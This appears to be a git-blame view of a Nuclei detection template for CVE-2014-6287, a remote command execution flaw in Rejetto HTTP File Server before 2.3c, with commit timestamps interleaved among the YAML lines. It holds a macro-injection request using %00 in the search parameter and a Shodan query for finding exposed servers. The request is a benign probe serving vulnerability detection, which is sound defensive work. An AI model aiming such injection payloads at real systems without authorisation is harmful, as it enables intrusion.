2023-07-11 19:49:27 +00:00
id : 'CVE-2014-6287'
2023-04-12 17:25:16 +00:00
2023-04-01 18:50:04 +00:00
info :
2023-04-12 17:25:16 +00:00
name : HTTP File Server <2.3c - Remote Command Execution
2023-04-01 18:50:04 +00:00
author : j4vaovo
2023-04-01 19:05:20 +00:00
severity : critical
2023-04-01 18:50:04 +00:00
description : |
2023-04-12 17:25:16 +00:00
HTTP File Server before 2.3c is susceptible to remote command execution. The findMacroMarker function in parserLib.pas allows an attacker to execute arbitrary programs via a %00 sequence in a search action. Therefore, an attacker can obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
2023-09-06 13:22:34 +00:00
remediation : |
Upgrade to the latest version of HTTP File Server (>=2.3c) to mitigate this vulnerability.
2023-04-01 18:50:04 +00:00
reference :
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6287
2023-04-04 09:05:54 +00:00
- http://www.kb.cert.org/vuls/id/251276
- http://packetstormsecurity.com/files/128243/HttpFileServer-2.3.x-Remote-Command-Execution.html
- https://github.com/rapid7/metasploit-framework/pull/3793
2023-04-12 17:25:16 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2014-6287
2023-04-01 18:50:04 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2023-07-11 19:49:27 +00:00
cve-id : 'CVE-2014-6287'
2023-04-01 18:50:04 +00:00
cwe-id : CWE-94
2023-08-31 11:46:18 +00:00
epss-score : 0.97289
2023-11-03 15:51:18 +00:00
epss-percentile : 0.99818
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:rejetto:http_file_server:*:*:*:*:*:*:*:*
2023-04-04 02:44:57 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 13:22:34 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : rejetto
product : http_file_server
2023-09-06 13:22:34 +00:00
shodan-query : http.favicon.hash:2124459909
2023-04-06 05:38:39 +00:00
tags : packetstorm,msf,cve,cve2014,hfs,rce,kev
2023-04-01 18:50:04 +00:00
variables :
str1 : '{{rand_base(6)}}'
2023-04-04 02:44:57 +00:00
str2 : 'CVE-2014-6287'
2023-04-01 18:50:04 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-04-01 18:50:04 +00:00
- method : GET
path :
2023-05-28 15:41:09 +00:00
- '{{BaseURL}}/?search==%00{.cookie|{{str1}}|value%3d{{str2}}.}'
2023-04-01 18:50:04 +00:00
matchers-condition : and
matchers :
2023-04-04 02:44:57 +00:00
- type : word
part : body
words :
- '<title>HFS /</title>'
2023-04-01 18:50:04 +00:00
- type : word
part : header
words :
- 'Set-Cookie : {{str1}}={{str2}};'
- 'text/html'
condition : and
- type : status
status :
- 200
2023-11-05 22:23:39 +00:00
# digest: 4a0a004730450220490a3972a8e9c8bff98f32d79da5117023ab6019566d480dc4e1e48e15766750022100a6920df0944e5cd478161af8580a78473c74844992f309b72c678fca23b286f5:922c64590222798bb761d5b6d8e72950